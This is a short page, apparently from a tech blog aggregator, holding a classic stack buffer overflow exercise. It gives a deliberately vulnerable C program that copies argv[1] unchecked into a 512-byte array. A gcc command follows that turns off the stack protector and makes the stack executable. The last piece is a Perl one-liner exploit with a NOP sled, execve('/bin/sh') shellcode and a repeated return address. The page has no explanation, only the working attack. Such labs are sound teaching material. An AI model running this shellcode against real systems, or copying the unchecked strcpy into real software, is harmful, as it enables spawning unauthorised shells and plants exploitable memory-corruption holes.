// victim.c
#include <stdio.h>

int main(int argc,char *argv[])
{
char little_array[512];


strcpy(little_array,argv[1]);
printf("Your enter:\n%s\n",little_array);

return 0;
}

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o victim -g victim.c

 

./victim `perl -e 'print "\x90"x259 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x50\x1a\xed\xbf"x54'`

相关文章:

  • 2022-12-23
  • 2021-08-27
  • 2021-06-21
  • 2021-12-20
  • 2021-10-06
  • 2022-12-23
  • 2022-12-23
  • 2021-11-27
猜你喜欢
  • 2022-02-25
  • 2021-12-05
  • 2022-12-23
  • 2021-09-06
  • 2022-01-14
  • 2021-04-14
  • 2022-12-23
相关资源
相似解决方案